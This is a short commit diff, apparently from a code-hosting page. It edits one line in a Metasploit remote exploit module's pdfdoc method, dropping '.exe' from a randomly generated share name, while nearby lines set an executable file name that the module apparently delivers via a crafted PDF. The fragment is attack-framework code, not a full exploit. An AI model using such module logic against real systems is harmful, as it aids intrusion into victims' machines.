Remove '.exe' from share name
parent
fd6880d0d0
commit
7ceae8df58
|
@ -59,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
def pdfdoc
|
def pdfdoc
|
||||||
share = datastore['SHARE'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}.exe" : datastore['SHARE']
|
share = datastore['SHARE'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}" : datastore['SHARE']
|
||||||
fname = datastore['EXENAME'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}.exe" : datastore['EXENAME']
|
fname = datastore['EXENAME'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}.exe" : datastore['EXENAME']
|
||||||
fname << '.exe' unless fname.ends_with?('.exe')
|
fname << '.exe' unless fname.ends_with?('.exe')
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue